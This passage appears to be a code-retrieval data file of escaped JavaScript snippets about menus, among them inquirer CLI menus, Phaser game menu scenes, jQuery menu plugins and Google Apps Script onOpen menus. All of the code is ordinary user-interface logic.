\"What would you like to do?\",\n choices: [\"Purchase Items\", \n \"Exit\"],\n }\n ]).then(function(answer) {\n\n // Based on the selection, the user experience will be routed in one of these directions\n switch (answer.choice) {\n case \"Purchase Items\":\n displayItems();\n break;\n case \"Exit\":\n exit();\n break;\n }\n });\n} // End start function","function initSuperFish(){\r\n\t\t\r\n\t\t$(\".sf-menu\").superfish({\r\n\t\t\t delay: 50,\r\n\t\t\t autoArrows: true,\r\n\t\t\t animation: {opacity:'show'}\r\n\t\t\t //cssArrows: true\r\n\t\t});\r\n\t\t\r\n\t\t// Replace SuperFish CSS Arrows to Font Awesome Icons\r\n\t\t$('nav > ul.sf-menu > li').each(function(){\r\n\t\t\t$(this).find('.sf-with-ul').append('');\r\n\t\t});\r\n\t}","function init_dash() {\n dropDown();\n}","doReStart() {\n // Stoppe la musique d'intro\n this.musicIntro.stop();\n // Lance la scene de menus\n this.scene.start('MenuScene');\n }","function mainMenu() {\n\n inquirer\n .prompt({\n type: \"list\",\n name: \"task\",\n message: \"Plz, select your entry ?\",\n choices: [\n \"View Employees\",\n \"View Departments\",\n \"View Roles\",\n \"Add Employees\",\n \"Update EmployeeRole\",\n \"Add Role\",\n \"Exit\"]\n })\n .then(function ({ task }) {\n switch (task) {\n case \"View Employees\":\n viewEmployee();\n break;\n case \"View Departments\":\n viewDepartmnt();\n break;\n case \"View Roles\":\n viewRole();\n break;\n case \"Add Employees\":\n addEmployee();\n break;\n case \"Update EmployeeRole\":\n updateEmployeeRole();\n break;\n case \"Add Role\":\n addRole();\n break;\n case \"Exit\":\n connection.end();\n break;\n \n }\n });\n}","function openMenu() {\n g_IsMenuOpen = true;\n}","function start() {\n inquirer.prompt([{\n name: \"entrance\",\n message: \"Would you like to shop with us today?\",\n type: \"list\",\n choices: [\"Yes\", \"No\"]\n }]).then(function(answer) {\n // if yes, proceed to shop menu\n if (answer.entrance === \"Yes\") {\n menu();\n } else {\n // if no, end node cli \n console.log(\"---------------------------------------\");\n console.log(\"No?!?!?! What do you mean no!?!?!?!?!?\");\n console.log(\"---------------------------------------\");\n connection.destroy();\n return;\n }\n });\n}","function runSupervisorMenu() {\n inquirer.prompt([\n {\n type: \"list\",\n message: \"Please select from menu: \".magenta.italic.bold,\n name: \"menu\",\n choices: [\"View Product Sales By Department\", \"Create New Department\", \"View All Users\", \"Create User\", \"Exit\"]\n }\n ]).then(function (inquirerResponse) {\n switch (inquirerResponse.menu) {\n case \"View Product Sales By Department\":\n viewDepartmentSales();\n break;\n case \"Create New Department\":\n addDepartment();\n break;\n case \"View All Users\":\n viewAllUsers();\n break;\n case \"Create User\":\n addUser();\n break;\n case \"Exit\":\n process.exit();\n break;\n }\n });\n}","function gameMenutoMainMenu() {\n if (store.getState().lastAction == MENU_CHANGE && store.getState().previousPage == 'GAME_MENU' && store.getState().currentPage == 'MAIN_MENU') {\n mainSfxController(preloaderSfxSource);\n preloaderStarter();\n\n setTimeout(function(){\n gameMenu.classList.add('pagehide');\n mainMenu.classList.remove('pagehide');\n gameMenuStartableid.classList.remove('game-menu-startable');\n gameMenuBattlepointer1id.classList.remove('game-menu-battlepointer');\n if (store.getState().activeGameState.isMap1Completed != true) {\n gameMenuStarthereTextid.classList.add('nodisplay');\n }\n }, 600);\n\n setTimeout(function(){\n mainMenuCreditsButtonid.classList.remove('nodisplay');\n mainMenuStartButtonid.classList.remove('nodisplay');\n }, 1400);\n\n mainMenuPlayonmobileButtonid.classList.add('main-menu-playonmobile-button');\n\n loadSavedMenuid.classList.remove('load-saved-menu');\n loadSavedMenuid.classList.add('load-saved-menu-reverse');\n mainMenuArmorgamesImageid.classList.add('main-menu-armorgames-image');\n mainMenuIronhideImageid.classList.add('main-menu-ironhide-image');\n mainMenuStartImageid.classList.add('main-menu-start-image');\n mainMenuCreditsImageid.classList.add('main-menu-credits-image');\n }\n }","function menu() {\n inquirer\n .prompt({\n name: \"menuOptions\",\n type: \"list\",\n message: \"What would you like to do?\",\n choices: [\"View Products\", \"View Low Inventory\", \"Add Inventory\", \"Add New Product\"]\n })\n .then(function(answer) {\n // based on their answer, run appropriate function\n if (answer.menuOptions === \"View Products\") {\n viewProducts();\n }\n else if (answer.menuOptions === \"View Low Inventory\") {\n viewLowInventory();\n }\n else if (answer.menuOptions === \"Add Inventory\") {\n addInventory();\n }\n else if (answer.menuOptions === \"Add New Product\") {\n addNewProduct();\n }\n else {\n connection.end();\n }\n });\n}","function Menu() {\n\t\n\tPhaser.State.call(this);\n\t\n}","function menuGame(){\n startScene.visible = true;\n helpScene.visible = false;\n gameOverScene.visible = false;\n gameScene.visible = false;\n}","function showMenu() {\n if(newGame) {\n $('#main').show();\n }\n else {\n $('#end').show();\n }\n}","function toMenu() {\n\tclearScreen();\n\tviewPlayScreen();\n}","startMainMenu()\n {\n // We check if the player is on mobile and open fullscreen\n let os = theGame.device.os;\n if(os.android || os.iOS || os.iPad || os.iPhone || os.windowsPhone)\n {\n openFullScreen();\n }\n \n let gameCredits;\n let goat = currentScene.add.image(-100, topBackgroundYOrigin+35, 'GoatMenu');\n let fondo2 = currentScene.add.image(topBackgroundXOrigin, topBackgroundYOrigin, 'Fondo2');\n fondo2.visible = false;\n let logo = currentScene.add.image(topBackgroundXOrigin, topBackgroundYOrigin, 'Logo');\n //logo.visible = false;\n \n // Start Btn\n let startBtn = currentScene.add.image(topBackgroundXOrigin-40, topBackgroundYOrigin+125, 'StartBtn');\n let startHigh = currentScene.add.image(topBackgroundXOrigin-40, topBackgroundYOrigin+125, 'StartHigh');\n startBtn.setInteractive();\n startBtn.on('pointerover', ()=> this.onMenuBtnInteracted(startHigh, true));\n startBtn.on('pointerdown', ()=> this.onMenuBtnInteracted(startHigh, true));\n startBtn.on('pointerup', ()=> this.onMenuBtnInteracted(startHigh, false));\n startBtn.on('pointerout', ()=> this.onMenuBtnInteracted(startHigh, false));\n startBtn.on('pointerup', ()=> interacionManager.interactMenu(\"Start\"));\n\n startBtn.visible = false;\n startHigh.visible = false;\n\n // Continue Btn\n let continueBtn = currentScene.add.image(topBackgroundXOrigin-186, topBackgroundYOrigin+128, 'ContinueBtn');\n let continueHigh = currentScene.add.image(topBackgroundXOrigin-186, topBackgroundYOrigin+128, 'ContinueHigh');\n continueBtn.setInteractive();\n continueBtn.on('pointerover', ()=> this.onMenuBtnInteracted(continueHigh, true));\n continueBtn.on('pointerdown', ()=> this.onMenuBtnInteracted(continueHigh, true));\n continueBtn.on('pointerup', ()=> this.onMenuBtnInteracted(continueHigh, false));\n continueBtn.on('pointerout', ()=> this.onMenuBtnInteracted(continueHigh, false));\n continueBtn.on('pointerup', ()=> interacionManager.interactMenu(\"Continue\"));\n\n continueBtn.visible = false;\n continueHigh.visible = false;\n\n // Credits Btn\n let creditsBtn = currentScene.add.image(topBackgroundXOrigin-308, topBackgroundYOrigin+128, 'CreditsBtn');\n let creditsHigh = currentScene.add.image(topBackgroundXOrigin-308, topBackgroundYOrigin+128, 'CreditsHigh');\n creditsBtn.setInteractive();\n creditsBtn.on('pointerover', ()=> this.onMenuBtnInteracted(creditsHigh, true));\n creditsBtn.on('pointerdown', ()=> this.onMenuBtnInteracted(creditsHigh, true));\n creditsBtn.on('pointerup', ()=> this.onMenuBtnInteracted(creditsHigh, false));\n creditsBtn.on('pointerout', ()=> this.onMenuBtnInteracted(creditsHigh, false));\n creditsBtn.on('pointerup', ()=> enableCredits(this.gameCredits, true));\n\n creditsBtn.visible = false;\n creditsHigh.visible = false;\n\n // Mute Btn\n let muteBtn = currentScene.add.image(topBackgroundXOrigin-395, topBackgroundYOrigin+128, 'MenuMuteBtn');\n let muteHigh = currentScene.add.image(topBackgroundXOrigin-395.9, topBackgroundYOrigin+128, 'MenuMuteHigh');\n muteBtn.setInteractive();\n muteBtn.on('pointerover', ()=> this.onMenuBtnInteracted(muteHigh, true));\n muteBtn.on('pointerdown', ()=> this.onMenuBtnInteracted(muteHigh, true));\n muteBtn.on('pointerup', ()=> this.onMenuBtnInteracted(muteHigh, false));\n muteBtn.on('pointerout', ()=> this.onMenuBtnInteracted(muteHigh, false));\n muteBtn.on('pointerup', ()=> interacionManager.interactMenu(\"Mute\"));\n\n muteBtn.visible = false;\n muteHigh.visible = false;\n\n let timeline = currentScene.tweens.createTimeline();\n\n timeline.add(\n {\n targets: goat,\n x: topBackgroundXOrigin + 175,\n duration: 900\n }\n );\n\n timeline.add( \n {\n targets: fondo2,\n onStart: function()\n {\n fondo2.visible = true;\n let timedEvent = currentScene.time.delayedCall(1300, function()\n {\n musicManager.playThemeSong('Main');\n startBtn.visible = true;\n continueBtn.visible = true;\n creditsBtn.visible = true;\n muteBtn.visible = true;\n\n } , currentScene);\n } \n } \n );\n timeline.play(); \n this.gameCredits = currentScene.add.image(topBackgroundXOrigin, topBackgroundYOrigin, 'GameCredits');\n this.gameCredits.setInteractive();\n this.gameCredits.on('pointerdown', ()=> enableCredits(this.gameCredits, false));\n this.gameCredits.visible = false;\n }","function onOpen(e) {\n var menu = SpreadsheetApp.getUi()\n .createMenu('Flights')\n .addItem('Check Flights', 'getFlights'); \n \n menu.addToUi();\n}","function app(){\n mainMenu();\n}","showMenu() {\n this._game = null;\n this.stopRefresh();\n this._view.renderMenu();\n this._view.bindStartGame(this.startGame.bind(this));\n this._view.bindShowScores(this.showScores.bind(this));\n }","function onOpen() {\n var ui = DocumentApp.getUi();\n ui.createMenu('Script menu')\n .addItem('Setup', 'setup')\n .addItem('Create Events First Time', 'createDocForEvents')\n .addToUi();\n}","function preMenutoMainMenu() {\n if (store.getState().lastAction == MENU_CHANGE && store.getState().previousPage == 'PRE_MENU' && store.getState().currentPage == 'MAIN_MENU') {\n mainSfxController(preloaderSfxSource);\n preloaderStarter();\n loadSavedMenuGameslotDisplayHandler();\n\n setTimeout(function(){\n preMenu.classList.add('pagehide');\n mainMenu.classList.remove('pagehide');\n }, 600);\n\n mainMenuPlayonmobileButtonid.classList.add('main-menu-playonmobile-button');\n mainMenuArmorgamesImageid.classList.add('main-menu-armorgames-image');\n mainMenuIronhideImageid.classList.add('main-menu-ironhide-image');\n mainMenuStartImageid.classList.add('main-menu-start-image');\n mainMenuCreditsImageid.classList.add('main-menu-credits-image');\n }\n }","function frontPage() {\n console.log(\"Welcome to Reddit! the front page of the internet\");\n fpMenu();\n\n\n}","function playbutton(){\n document.querySelector('#startMenu').style.display = \"none\";\n bg_call();\n }","start() {\n super.start(this.game.menuOptions);\n this.game.display.draw(0, 0, 'a');\n this.game.display.draw(0, 1, 'b');\n this.game.display.draw(0, 2, 'c');\n this.game.display.draw(0, 3, 'd');\n this.game.display.draw(0, 4, 'e');\n this.game.display.draw(0, 5, ['f', '➧']);\n this.game.display.draw(0, 6, 'g');\n this.game.display.draw(0, 7, 'h');\n this.game.display.draw(0, 8, 'i');\n this.game.display.draw(1, 0, 'j');\n this.game.display.draw(1, 1, 'k');\n this.game.display.draw(1, 2, 'l');\n this.game.display.draw(1, 3, 'm');\n this.game.display.draw(1, 4, 'n');\n this.game.display.draw(1, 5, 'o');\n this.game.display.draw(1, 6, 'p');\n this.game.display.draw(1, 7, 'q');\n this.game.display.draw(1, 8, this.game.music.muted ? ['r', '♩'] : 'r');\n this.selected = 0;\n }","function menu() {\n inquirer.prompt([\n {\n name: \"menu\",\n message: \"Menu:\",\n type: \"list\",\n choices: [\"Products for Sale\", \"Low Inventory\", \"Add to Inventory\", \"New Product\", \"Exit\"],\n }]).then(function (answer) {\n\n // depending on the option picked for the chosen call the correct function\n switch (answer.menu) {\n case \"Products for Sale\": {\n showInventory();\n break;\n }\n case \"Low Inventory\": {\n lowerInventory();\n break;\n }\n case \"Add to Inventory\": {\n addInventory();\n \n break;\n }\n case \"New Product\": {\n addNewProduct();\n break;\n }\n case \"Exit\": {\n connection.end();\n break;\n }\n }\n\n });\n}","function menuzordActive () {\n if ($(\"#menuzord\").length) {\n $(\"#menuzord\").menuzord({\n indicatorFirstLevel: ''\n });\n };\n}","function createMainMenu(game) {\n // Fade in transition\n fadeSceneIn(game, 1000, \"Linear\");\n\n // Background\n game.add.image(0, 0, 'menu-bg').setOrigin(0, 0);\n\n // Game version\n var verStyle = { font: \"14px Optima\", fill: \"#fff\" };\n var versionText = game.add.text(2, 626, \"v\" + version(), verStyle).setOrigin(0, 1);\n versionText.setShadow(2, 2, \"#000\", 2);\n versionText.alpha = 0.3;\n\n // Title Text\n var titleStyle = { font: \"100px FrizQuadrata\", fill: \"#000\", stroke: \"#fff\", strokeThickness: 7 };\n var titleText = game.add.text(512, 250, \"Fate/Grand Wars\", titleStyle).setOrigin(0.5, 0.5);\n titleText.setShadow(1, 1, 'rgba(0,0,0,0.9)', 2, true, false);\n\n // Music\n var music = game.sound.add('menu-bgm', { volume: 0.5 } );\n music.loop = true;\n music.play();\n\n\n // Button sprite\n var button = game.add.sprite(512, 400, 'button-medium').setInteractive( useHandCursor() );\n button.on('pointerdown', (pointer) => {\n if (!pointer.rightButtonDown()) {\n button.tint = 0xbbbbbb;\n button.removeInteractive();\n startGame(game, music);\n }\n } );\n button.on('pointerover', function (pointer) { button.tint = 0xbbbbbb; } );\n button.on('pointerout', function (pointer) { button.tint = 0xffffff; } );\n\n // Start Text\n var startStyle = { font: \"35px Optima\", fill: \"#000\" };\n var startText = game.add.text(512, 400, \"START\", startStyle).setOrigin(0.5, 0.5);\n}","function mainMenu() {\n inquirer.prompt({\n type: \"list\",\n name: \"action\",\n message: \"What would you like to do?\",\n choices: [\n { name: \"Add something\", value: createMenu },\n { name: \"View something\", value: readMenu },\n { name: \"Change something\", value: updateMenu },\n { name: \"Remove something\", value: deleteMenu },\n { name: \"Quit\", value: quit }\n ]\n }).then(({ action }) => action());\n}","function menuOptions() {}","function handleFancyRestaurantChoice() {\n /** @type {HTMLInputElement} Input field. */\n const dishInput = document.getElementById(\"dish-input\").value;\n const fancyMenu = [\"pizza\", \"paella\", \"pasta\"]\n\n if(dishInput == fancyMenu[0]) {\n restaurantClosing();\n } else if (dishInput == fancyMenu[1]) {\n restaurantClosing();\n } else if (dishInput == fancyMenu[2]) {\n restaurantClosing();\n } else {\n fancyRestauratMenu();\n }\n}","function onOpen() {\n var ui = SpreadsheetApp.getUi();\n // Or DocumentApp or FormApp.\n ui.createMenu('Own scripts')\n .addItem('Search Calendar Events', 'searchCalendarEvents')\n .addSeparator()\n .addSubMenu(ui.createMenu('Development')\n .addItem('First item', 'devMenuItem1')\n .addItem('Second item', 'devMenuItem2')\n )\n .addToUi();\n}","_initMenu() {\n this.menu.parentMenu = this.triggersSubmenu() ? this._parentMenu : undefined;\n this.menu.direction = this.dir;\n this._setMenuElevation();\n this._setIsMenuOpen(true);\n this.menu.focusFirstItem(this._openedBy || 'program');\n }","function mainMenu() {\n inquirer\n .prompt({\n name: \"action\",\n type: \"rawlist\",\n message: \"What would you like to do?\",\n choices: [\n \"Add Departments\",\n \"Add Roles\",\n \"Add Employees\",\n \"View Departments\",\n \"View Roles\",\n \"View Employees\",\n \"Update Role\",\n \"Update Manager\"\n // \"View Employees by Manager\"\n ]\n })\n // Case statement for selection of menu item\n .then(function(answer) {\n switch (answer.action) {\n case \"Add Departments\":\n addDepartments();\n break;\n case \"Add Roles\":\n addRoles();\n break;\n case \"Add Employees\":\n addEmployees();\n break;\n case \"View Departments\":\n viewDepartments();\n break;\n\n case \"View Roles\":\n viewRoles();\n break;\n case \"View Employees\":\n viewEmployees();\n break;\n case \"Update Role\":\n updateRole();\n break;\n case \"Update Manager\":\n updateManager();\n break;\n // case \"View Employees by Manager\":\n // viewEmployeesByManager();\n // break;\n }\n });\n}","function initialLoad() {\n $('ul.sf-menu').superfish({\n delay: 500,\n animation: {opacity:'show',height:'show'},\n speed: 'slow',\n autoArrows: true,\n dropShadows: false\n });\n $('.toolTipCls').tooltip();\n ITL.view.datePicker($(\".datepicker\"));\n }","function Scene_GFMenu() {\n this.initialize.apply(this, arguments);\n}","function fecharMenu() {\n\t\t$('div.menu-mobile').stop(true, true).animate({'marginLeft':'-550px'}, 300);\n\t\t$('.fundo-preto-mobile').stop(true, true).removeClass('active').hide();\n\t\t$('#menumobile a.fecharmenu').stop(true, true).removeClass('fadeIn').addClass('animated fadeOut').hide();\n\t\t$('div.menu-mobile ul.primeira').stop(true, true).hide();\n\t\t$('.menu-mobile ul.primeira li.um').stop(true, true).hide();\n\t\t$('.menu-mobile ul.primeira li.dois').stop(true, true).hide();\n\t\t$('.menu-mobile ul.primeira li.tres').stop(true, true).hide();\n\t\t$('.menu-mobile ul.primeira li.quatro').stop(true, true).hide();\n\t\t$('.menu-mobile ul.primeira li.cinco').stop(true, true).hide();\n\t\t$('.menu-mobile ul.primeira li.seis').stop(true, true).hide();\n\t\t$('.menu-mobile ul.primeira li.sete').stop(true, true).hide();\n\t\t$('div.menu-mobile > ul.primeira > li').stop(true, true).removeClass('flipInX').addClass('animated flipOutX').hide();\n\t\t$('div.menu-mobile').stop(true, true).removeClass('open');\n\t\t$('span.flaticon-arrow').stop(true, true).removeClass('flaticon-arrow').addClass('flaticon-arrow-down-sign-to-navigate');\n\t\t$('ul.esconder').stop(true, true).removeClass('bounceInLeft').hide();\n\t}","function fancyRestauratMenu() {\n subTitle.innerText = fancyRestaurantWelcome;\n firstButton.classList.add(\"hidden\");\n secondButton.classList.add(\"hidden\");\n fancyDiv.classList.remove(\"hidden\");\n\n handleFancyRestaurantChoice();\n}","function walkHome(){\r\n\tbackground(0);\r\n\tfirstOption.hide();\r\n\tsecondOption.hide();\r\n\tuserName.hide();\r\n\r\n\t//change the text for the title\r\n\ttitle.html(\"You have gone home. Good Night.\");\r\n\r\n\t//startOver = createA(\"index.html\", \"Start Over\")\r\n\t//firstOption.mousePressed(startOver);\r\n}"],"string":"[\n \"function initMenu() {\\n // Connect Animation\\n window.onStepped.Connect(stepMenu);\\n\\n // Make buttons do things\\n let startbutton = document.getElementById('start_button');\\n \\n //VarSet('S:Continue', 'yielding')\\n buttonFadeOnMouse(startbutton);\\n startbutton.onclick = startDemo\\n\\n\\n // run tests for prepar3d integration\\n runTests();\\n}\",\n \"function loadMenu(){\\n\\t\\tpgame.state.start('menu');\\n\\t}\",\n \"function startMenu() {\\n createManager();\\n}\",\n \"function onOpen() {\\n ui.createMenu('Daily Delivery Automation')\\n .addItem('Run', 'confirmStart').addToUi();\\n}\",\n \"function gameMenuStartableDrawer() {\\n if (store.getState().currentPage == 'GAME_MENU' && store.getState().lastAction == 'GAMEDATA_LOADED') {\\n gameMenuStartableStarsid.innerHTML = store.getState().activeGameState.stars.toString() + '/77';\\n }\\n }\",\n \"function StartMenu() {\\n //this.menu = new Menu('start-menu');\\n this.shutDownMenu = new Menu('shutdown-menu');\\n this.shutDownButton = new MenuButton('options-button', this.shutDownMenu);\\n Menu.apply(this, ['start-menu']);\\n}\",\n \"constructor(props) {\\n super(props);\\n\\n // comente lo de abajo por que ahora lo estamos extrallendo del archivo dishes.js\\n this.state = {\\n selectedDish: null\\n }\\n console.log('menu constructor is invoke')\\n \\n }\",\n \"function display_start_menu() {\\n\\tstart_layer.show();\\n\\tstart_layer.moveToTop();\\n\\t\\n\\tdisplay_menu(\\\"start_layer\\\");\\n\\tcharacter_layer.moveToTop();\\n\\tcharacter_layer.show();\\n\\tinventory_bar_layer.show();\\n\\t\\n\\tstage.draw();\\n\\t\\n\\tplay_music('start_layer');\\n}\",\n \"start() {\\n if (this.showHideStartMenu === true) {\\n this.showHideStartMenu = false;\\n } else {\\n this.showHideStartMenu = true;\\n }\\n }\",\n \"function foodMenuItems() {\\r\\n\\t\\t\\t\\t\\t\\r\\n\\t\\t\\t\\t\\tvar $foodItemOffsetPos = ($('#nectar_fullscreen_rows').length > 0) ? '200%' : '80%';\\r\\n\\t\\t\\t\\t\\t$($fullscreenSelector + '.nectar_food_menu_item').parent().each(function () {\\r\\n\\t\\t\\t\\t\\t\\t\\r\\n\\t\\t\\t\\t\\t\\tvar $that = $(this),\\r\\n\\t\\t\\t\\t\\t\\twaypoint = new Waypoint({\\r\\n\\t\\t\\t\\t\\t\\t\\telement: $that,\\r\\n\\t\\t\\t\\t\\t\\t\\thandler: function () {\\r\\n\\t\\t\\t\\t\\t\\t\\t\\t\\r\\n\\t\\t\\t\\t\\t\\t\\t\\tif ($that.parents('.wpb_tab').length > 0 && $that.parents('.wpb_tab').css('visibility') == 'hidden' || $that.hasClass('completed')) {\\r\\n\\t\\t\\t\\t\\t\\t\\t\\t\\twaypoint.destroy();\\r\\n\\t\\t\\t\\t\\t\\t\\t\\t\\treturn;\\r\\n\\t\\t\\t\\t\\t\\t\\t\\t}\\r\\n\\t\\t\\t\\t\\t\\t\\t\\t\\r\\n\\t\\t\\t\\t\\t\\t\\t\\t$that.find('.nectar_food_menu_item').each(function (i) {\\r\\n\\t\\t\\t\\t\\t\\t\\t\\t\\t\\r\\n\\t\\t\\t\\t\\t\\t\\t\\t\\tvar $that = $(this);\\r\\n\\t\\t\\t\\t\\t\\t\\t\\t\\t\\r\\n\\t\\t\\t\\t\\t\\t\\t\\t\\tsetTimeout(function () {\\r\\n\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t$that.addClass('animated-in');\\r\\n\\t\\t\\t\\t\\t\\t\\t\\t\\t}, i * 150);\\r\\n\\t\\t\\t\\t\\t\\t\\t\\t\\t\\r\\n\\t\\t\\t\\t\\t\\t\\t\\t});\\r\\n\\t\\t\\t\\t\\t\\t\\t\\t\\r\\n\\t\\t\\t\\t\\t\\t\\t\\twaypoint.destroy();\\r\\n\\t\\t\\t\\t\\t\\t\\t\\t\\r\\n\\t\\t\\t\\t\\t\\t\\t},\\r\\n\\t\\t\\t\\t\\t\\t\\toffset: $foodItemOffsetPos\\r\\n\\t\\t\\t\\t\\t\\t});\\r\\n\\t\\t\\t\\t\\t\\t\\r\\n\\t\\t\\t\\t\\t});\\r\\n\\t\\t\\t\\t}\",\n \"function onOpen() {\\n createMenu();\\n}\",\n \"function showMenu(arg)\\r\\n\\t{\\r\\n\\t\\tswitch(arg)\\r\\n\\t\\t{\\r\\n\\t\\t\\tcase 0:\\r\\n\\t\\t\\t\\t$('#menu').html(\\\"\\\");\\r\\n\\t\\t\\tbreak;\\r\\n\\t\\t\\tcase 1:\\r\\n\\t\\t\\t\\t$('#menu').html(\\\"

                    Sheep's Snake

                    Press A to play!

                    Press B for some help !

                    \\\");\\r\\n\\t\\t\\t\\t\\r\\n\\t\\t\\tbreak;\\r\\n\\t\\t}\\r\\n\\t}\",\n \"function tl_start() {\\n $('#futureman_face, #menu-open').css('display', 'inherit');\\n $('.menu-open').css('visibility', 'inherit');\\n }\",\n \"function fastFoodRestaurantScene() {\\n subTitle.innerText = fastfoodWelcome;\\n firstButton.classList.add(\\\"hidden\\\");\\n secondButton.classList.add(\\\"hidden\\\");\\n fastDiv.classList.remove(\\\"hidden\\\");\\n\\n handleFastRestaurantChoice();\\n}\",\n \"function showMenu() {\\n // clear the console\\n console.log('\\\\033c');\\n // menu selection\\n inquirer\\n .prompt([\\n {\\n type: \\\"list\\\",\\n name: \\\"wish\\\",\\n choices: [\\\"View Product Sales by Department\\\", \\\"Create New Department\\\", \\\"Exit\\\"],\\n message: '\\\\nWhat would you like to do? '\\n }\\n ]).then( answer => {\\n switch (answer.wish){\\n case \\\"View Product Sales by Department\\\":\\n showSale();\\n break;\\n case \\\"Create New Department\\\":\\n createDept();\\n break;\\n case \\\"Exit\\\":\\n connection.end();\\n break;\\n default:\\n console.log( `\\\\x1b[1m \\\\x1b[31m\\\\nERROR! Invalid Selection\\\\x1b[0m`);\\n }\\n })\\n}\",\n \"function start() {\\r\\n var questions = [{\\r\\n type: 'rawlist',\\r\\n name: 'choice',\\r\\n message: 'What would you like to do?',\\r\\n choices: [\\\"View Products for Sale\\\", \\\"View Low Inventory\\\", \\\"Add to Inventory\\\", \\\"Add New Product\\\", \\\"Exit Store\\\"]\\r\\n }];\\r\\n inquirer.prompt(questions).then(answers => {\\r\\n mainMenu(answers.choice);\\r\\n });\\r\\n}\",\n \"function menuHandler() {\\n console.log('menuHandler');\\n\\n agent.add('Questi sono alcuni dei modi in cui posso aiutarti nella tua visita al nostro store online')\\n agent.add(new Suggestion(`Esplorazione delle categorie`));\\n agent.add(new Suggestion(`Ricerca prodotto specifico`));\\n agent.add(new Suggestion(`Suggerimento prodotto`));\\n}\",\n \"_start() {\\n\\n this._menuView = new MenuView(\\n document.querySelector('nav'),\\n this.sketches\\n );\\n\\n for (var key in this.sketches) {\\n this.DEFAULT_SKETCH = key;\\n break;\\n }\\n\\n this._setupScroll();\\n this._setupWindow();\\n this._onHashChange();\\n }\",\n \"function superfishSetup() {\\n\\t\\t$('#navigation').find('.menu').superfish({\\n\\t\\t\\tdelay: 200,\\n\\t\\t\\tanimation: {opacity:'show', height:'show'},\\n\\t\\t\\tspeed: 'fast',\\n\\t\\t\\tcssArrows: true,\\n\\t\\t\\tautoArrows: true,\\n\\t\\t\\tdropShadows: false\\n\\t\\t});\\n\\t}\",\n \"function DfoMenu(/**string*/ menu)\\r\\n{\\r\\n\\tSeS(\\\"G_Menu\\\").DoMenu(menu);\\r\\n\\tDfoWait();\\r\\n}\",\n \"pressedStart()\\n\\t\\t\\t{\\n\\t\\t\\tif(this.gamestate === 'starting')\\n\\t\\t\\t\\t{\\n\\t\\t\\t\\tthis.gamestate = 'choose';\\n\\t\\t\\t\\t}\\n\\t\\t\\telse if(this.gamestate === 'choose')\\n\\t\\t\\t\\t{\\n\\t\\t\\t\\t}\\n\\t\\t\\telse if(this.gamestate === 'stats')\\n\\t\\t\\t\\t{\\n\\t\\t\\t\\tthis.gamestate = 'bedroom';\\n\\t\\t\\t\\t}\\n\\t\\t\\telse if(this.gamestate === 'bedroom')\\n\\t\\t\\t\\t{\\n\\t\\t\\t\\tthis.menu.RunFunction(this);\\n\\t\\t\\t\\t}\\n\\t\\t\\t}\",\n \"function actionOnClick () {\\r\\n game.state.start(\\\"nameSelectionMenu\\\");\\r\\n}\",\n \"function menuShow() {\\n ui.appbarElement.addClass('open');\\n ui.mainMenuContainer.addClass('open');\\n ui.darkbgElement.addClass('open');\\n}\",\n \"createMenu()\\n {\\n currentScene.add.image(topBackgroundXOrigin, topBackgroundYOrigin, 'Fondo');\\n\\n // The first button that will enable audio\\n let firstBtn = currentScene.add.image(topBackgroundXOrigin, topBackgroundYOrigin, 'FirstStart');\\n\\n firstBtn.setInteractive();\\n firstBtn.on('pointerdown',function()\\n {\\n this.setScale(1.05);\\n });\\n firstBtn.on('pointerup',function()\\n {\\n firstBtn.disableInteractive();\\n // We play the Button pressed SFX \\n sfxManager.playSupahStar();\\n firstBtn.destroy();\\n });\\n firstBtn.on('pointerup', () => this.startMainMenu());\\n\\n // We set the fonts according to the browser\\n if(theGame.device.browser.firefox)\\n {\\n boldFontName = 'Asap-Bold';\\n regularFontName = 'Asap';\\n }\\n else\\n {\\n boldFontName = 'Asap-Bold';\\n regularFontName = 'Asap';\\n }\\n }\",\n \"function startup() {\\n\\tsceneTransition(\\\"start\\\");\\n}\",\n \"function menuhrres() {\\r\\n\\r\\n}\",\n \"function displayMenu() {\\n const menu = document.querySelector(\\\"#menu\\\");\\n let dishes = hard_coded_dishes;\\n\\n dishes.forEach(dish => {\\n // generate template for main ingredient and the name of the dish\\n const main = displayDish(\\n dish.course,\\n dish.name,\\n dish.price,\\n dish.ingredient\\n );\\n\\n // generate options for each dish\\n const options = [];\\n\\n if (dish.options) {\\n dish.options.forEach(option => {\\n options.push(displayOption(option.option, option.price));\\n });\\n }\\n\\n // add this to the DOM\\n menu.insertAdjacentHTML(\\\"beforeend\\\", main + options.join(\\\"\\\"));\\n });\\n}\",\n \"function thememascot_menuzord() {\\n $(\\\"#menuzord\\\").menuzord({\\n align: \\\"left\\\",\\n effect: \\\"slide\\\",\\n animation: \\\"none\\\",\\n indicatorFirstLevel: \\\"\\\",\\n indicatorSecondLevel: \\\"\\\"\\n });\\n $(\\\"#menuzord-right\\\").menuzord({\\n align: \\\"right\\\",\\n effect: \\\"slide\\\",\\n animation: \\\"none\\\",\\n indicatorFirstLevel: \\\"\\\",\\n indicatorSecondLevel: \\\"\\\"\\n });\\n }\",\n \"function main() {\\n menu = new states.Menu();\\n currentstate = menu;\\n}\",\n \"function runMenu() {\\n inquirer.prompt([\\n {\\n name: 'menu',\\n type: 'list',\\n choices: [\\n 'View Products for Sale',\\n 'View Low Inventory',\\n 'Add to Inventory',\\n 'Add New Product',\\n 'Exit'\\n ],\\n message: chalk.cyan('Select an option:')\\n }\\n ]).then(function(answers) {\\n switch (answers.menu) {\\n case 'View Products for Sale':\\n getProducts(false);\\n break;\\n case 'View Low Inventory':\\n getProducts(true);\\n break;\\n case 'Add to Inventory':\\n addInventory();\\n break;\\n case 'Add New Product':\\n addProduct();\\n break;\\n default:\\n connection.end();\\n }\\n });\\n}\",\n \"addDishToMenu(dish) {\\n if(this.menu.includes(dish))\\n {\\n this.removeDishFromMenu(dish.id);\\n }\\n this.menu.push(dish);\\n }\",\n \"function supervisorMenu() {\\n inquirer\\n .prompt({\\n name: 'apple',\\n type: 'list',\\n message: 'What would you like to do?'.yellow,\\n choices: ['View Product Sales by Department',\\n 'View/Update Department',\\n 'Create New Department',\\n 'Exit']\\n })\\n .then(function (pick) {\\n switch (pick.apple) {\\n case 'View Product Sales by Department':\\n departmentSales();\\n break;\\n case 'View/Update Department':\\n updateDepartment();\\n break;\\n case 'Create New Department':\\n createDepartment();\\n break;\\n case 'Exit':\\n connection.end();\\n break;\\n }\\n });\\n}\",\n \"function toMenu()\\n {\\n /**\\n * Opens a fan of a desk in the pause menu\\n */\\n function openFan()\\n {\\n toggleHideElements([DOM.pause.deskContainer], animation.duration.hide, false);\\n 